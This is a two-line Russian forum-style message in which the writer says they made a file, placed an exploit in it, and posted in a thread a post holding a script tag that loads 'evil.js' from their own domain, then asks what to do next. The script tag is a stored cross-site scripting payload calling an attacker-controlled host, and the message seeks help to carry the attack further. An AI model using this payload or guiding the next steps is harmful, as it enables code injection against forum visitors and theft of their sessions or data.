Создал файл , закинул туда сплоит и написать в теме пост с <script src=мой домен/evil.js>
А дальше что?